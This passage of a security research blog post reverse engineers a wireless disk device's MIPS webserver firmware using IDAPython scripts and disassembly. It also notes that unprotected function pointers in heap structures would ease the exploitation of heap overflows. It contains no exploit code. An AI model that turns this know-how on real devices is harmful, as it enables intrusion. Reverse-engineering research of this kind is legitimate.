&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;Python&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;findPrintfStrings&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ScreenEA&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'$a1'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'&quot;(&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;s,&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;s,&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;d)&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;nMTD Unlock failure&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;n&quot;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; 
 &lt;span class=&quot;s&quot;&gt;'file'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'/home/product/mk_wdisk_7620/UIS-V3.0/lib/flash/flash.c'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; 
 &lt;span class=&quot;s&quot;&gt;'$a3'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'&quot;flash_non_region_erase&quot;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;OK, given that we can find information about a function with one error message, how we do we find all of them and do the mapping? I like to take an iterative  approach by refining the information at hand with each step. This way there’s more space for tweaking and adjusting for accuracy depending on our needs. So, the function below will first look for all uses of &lt;code class=&quot;highlighter-rouge&quot;&gt;fprintf&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;findFuncNames&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt;
 &lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt;
 &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;XrefsTo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;LocByName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;fprintf&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)):&lt;/span&gt;
   &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetDisasm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;frm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;la&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
     &lt;span class=&quot;n&quot;&gt;args&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;findPrintfStrings&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;frm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

     &lt;span class=&quot;c&quot;&gt;# filter by error message pattern&lt;/span&gt;
     &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;args&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;$a1&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'&quot;(&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;s,'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
       &lt;span class=&quot;n&quot;&gt;func&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;idaapi&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_func&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;frm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
       &lt;span class=&quot;n&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;no_func&quot;&lt;/span&gt;

       &lt;span class=&quot;c&quot;&gt;# sometimes functions aren't recognized by IDA&lt;/span&gt;
       &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;func&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;is&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;None&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
         &lt;span class=&quot;n&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;GetFunctionName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;func&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;startEA&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

       &lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;append&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;hex&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;frm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;args&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;$a3&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;replace&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&quot;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;''&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;args&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'file'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

 &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Once an &lt;code class=&quot;highlighter-rouge&quot;&gt;fprintf&lt;/code&gt; is located, the script will look for &lt;code class=&quot;highlighter-rouge&quot;&gt;la&lt;/code&gt; (load address) instructions. That is where the address for the function is loaded before bing used. I chose the &lt;code class=&quot;highlighter-rouge&quot;&gt;la&lt;/code&gt; vs the &lt;code class=&quot;highlighter-rouge&quot;&gt;jalr&lt;/code&gt; instruction as a means of reducing the number of instructions I have to consider. Then we call the &lt;code class=&quot;highlighter-rouge&quot;&gt;findPrintfStrings&lt;/code&gt; function from earlier to extract the strings. Once the strings are extracted we can filter on a common filter for all error messages. We notice that, first, the error specifies the context before moving on to other information. So, we look for &lt;code class=&quot;highlighter-rouge&quot;&gt;&quot;(%s,&lt;/code&gt; to remove irrelevant &lt;code class=&quot;highlighter-rouge&quot;&gt;fprintf&lt;/code&gt; occurrences.&lt;/p&gt;

&lt;p&gt;Finally, using the IDA api we look up the function address that contains the error message and add that to the list. The final output looks something like this:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'0x52d5c4L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'sub_52D0CC'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'flash_region_erase'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'/home/product/mk_wdisk_7620/UIS-V3.0/lib/flash/flash.c'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'0x52d8d0L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'sub_52D734'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'flash_non_region_erase'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'/home/product/mk_wdisk_7620/UIS-V3.0/lib/flash/flash.c'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'0x52d96cL'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'sub_52D734'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'flash_non_region_erase'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'/home/product/mk_wdisk_7620/UIS-V3.0/lib/flash/flash.c'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;There are 910 of such error code blocks. Some function mappings are duplicates because a function could contain more than one error block. The duplication is useful for confirming that a mapping is correct.&lt;/p&gt;

&lt;h2 id=&quot;discovering-internal-structures&quot;&gt;Discovering internal structures&lt;/h2&gt;

&lt;p&gt;During the long process of reverse engineering the webserver MIPS assembly, several programming patterns have revealed themselves. First, the webserver is a single threaded state machine processing one HTTP request at a time. This greatly simplified how we reason about the system. Second, the implementation of the server is in C, however the developers are clearly fans of Objective-C or C++. That is because most structures come combined with data and function pointers. To call these functions, the code always passes the structure pointer as the first parameter. However, I do not believe that the source code is in C++ because there are no obvious artifacts, such as mangled names or vtables, to be found anywhere. The following pseudo code is a very common pattern that we see in the assembly:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;typedef&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fcn_ptr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;state&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;...);&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;state&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
   &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;20&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
   &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;      &lt;span class=&quot;n&quot;&gt;state&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
   &lt;span class=&quot;n&quot;&gt;fcn_ptr&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;func1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
   &lt;span class=&quot;n&quot;&gt;fcn_ptr&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;func2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;state&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;malloc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;sizeof&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;state&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;func1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;func1_implementation&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;func2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;func2_implementation&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;func1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s find an example of this pattern. In &lt;code class=&quot;highlighter-rouge&quot;&gt;web_cgi_main_handler&lt;/code&gt; there’s a call create a structure for the &lt;code class=&quot;highlighter-rouge&quot;&gt;httpd&lt;/code&gt; server. It is allocated and initialized at address &lt;code class=&quot;highlighter-rouge&quot;&gt;.text:00412B34&lt;/code&gt; with a call to &lt;code class=&quot;highlighter-rouge&quot;&gt;httpd_new&lt;/code&gt;.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-asm&quot;&gt;web_cgi_main_handler:
...
.text:00412B24 addiu   $v0, 0xC         # Add Immediate Unsigned
.text:00412B28 move    $a0, $v0
.text:00412B2C la      $t9, httpd_new   # Load Address
.text:00412B34 jalr    $t9 ; httpd_new  # Jump And Link Register
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Within the &lt;code class=&quot;highlighter-rouge&quot;&gt;httpd_new&lt;/code&gt; function a buffer is allocated using &lt;code class=&quot;highlighter-rouge&quot;&gt;calloc&lt;/code&gt;.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-asm&quot;&gt;httpd_new:
...
.text:00413770 li      $a0, 1           # nmemb
.text:00413774 li      $a1, 0x90        # size
.text:00413778 la      $t9, calloc      # Load Address
.text:0041377C nop
.text:00413780 jalr    $t9 ; calloc     # Jump And Link Register
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;This buffer is used to store a whole bunch of function pointers (please excuse skipped instructions for brevity - note the addresses).&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-asm&quot;&gt;httpd_new:
...
.text:004138A0 addiu   $v0, (sub_41395C - 0x410000)  # Add Immediate Unsigned
.text:004138A8 sw      $v0, 0x74($v1)   # Store Word
.text:004138B8 addiu   $v0, (sub_413AE8 - 0x410000)  # Add Immediate Unsigned
.text:004138C0 sw      $v0, 0x78($v1)   # Store Word
.text:004138D0 addiu   $v0, (sub_414064 - 0x410000)  # Add Immediate Unsigned
.text:004138D8 sw      $v0, 0x7C($v1)   # Store Word
.text:004138E8 addiu   $v0, (sub_4144C8 - 0x410000)  # Add Immediate Unsigned
.text:004138F0 sw      $v0, 0x80($v1)   # Store Word
.text:00413900 addiu   $v0, (sub_4148A0 - 0x410000)  # Add Immediate Unsigned
.text:00413908 sw      $v0, 0x84($v1)   # Store Word
.text:00413918 addiu   $v0, (sub_414B14 - 0x410000)  # Add Immediate Unsigned
.text:00413920 sw      $v0, 0x88($v1)   # Store Word
.text:00413930 addiu   $v0, (sub_414D5C - 0x410000)  # Add Immediate Unsigned
.text:00413938 sw      $v0, 0x8C($v1)   # Store Word
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;httpd_new&lt;/code&gt; will return a pointer to this new heap allocated structure back to &lt;code class=&quot;highlighter-rouge&quot;&gt;web_cgi_main_handler&lt;/code&gt;. The handler function will then be able to call these function pointers to do further operations.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-asm&quot;&gt;web_cgi_main_handler:
...
.text:00412BD0 sw      $v0, 0x38+httpd_struct($sp)  # httpd stuct
.text:00412BD4 lw      $v0, 0x38+httpd_struct($sp)  # Load Word
.text:00412BDC lw      $t9, 0x78($v0)   # Load Word
.text:00412BE0 lw      $a0, 0x38+httpd_struct($sp)  # Load Word
.text:00412BE4 la      $a1, loc_410000  # Load Address
.text:00412BEC addiu   $a1, (prgcgi_main_handler - 0x410000)  # Add Immediate Unsigned
.text:00412BF0 jalr    $t9              # Jump And Link Register
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;In the example above we can see that &lt;code class=&quot;highlighter-rouge&quot;&gt;$v0&lt;/code&gt; register contains a pointer to the &lt;code class=&quot;highlighter-rouge&quot;&gt;httpd_t&lt;/code&gt; structure. Then at offset &lt;code class=&quot;highlighter-rouge&quot;&gt;0x78&lt;/code&gt; a pointer is retrieved and executed. Before it is executed the first argument at &lt;code class=&quot;highlighter-rouge&quot;&gt;$a0&lt;/code&gt; register is set to the address of the same &lt;code class=&quot;highlighter-rouge&quot;&gt;httpd_t&lt;/code&gt; structure. In essence the function is called with a &lt;code class=&quot;highlighter-rouge&quot;&gt;this&lt;/code&gt; pointer as the first argument. We see this pattern over and over with various core data structures.&lt;/p&gt;

&lt;p&gt;This pattern is really great news for any sort of buffer overflow vulnerabilities on the heap. That is because there are unprotected function pointers all over the place and there would be no need for any sort of heap pointer manipulations to gain execution - your experience may vary ;-).&lt;/p&gt;

&lt;p&gt;One way to locate these patterns is to use the function finder script we built is the previous section. All we have to do is filter on &lt;code class=&quot;highlighter-rouge&quot;&gt;*_new&lt;/code&gt; for function names.&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;Python&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; 
          &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;findFuncNames&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; 
             &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;find&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;new&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)]:&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'0x40ca7cL'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'str_parse_new'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'str_parse_new'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'0x40cb30L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'str_parse_new'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'str_parse_new'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'0x40cc28L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'str_parse_new'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'str_parse_new'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'0x40cfb4L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'str_build_new'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'str_build_new'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'0x40d078L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'str_build_new'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'str_build_new'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'0x4137f0L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'httpd_new'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'httpd_new'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'0x413860L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'httpd_new'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'httpd_new'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# ... truncated&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

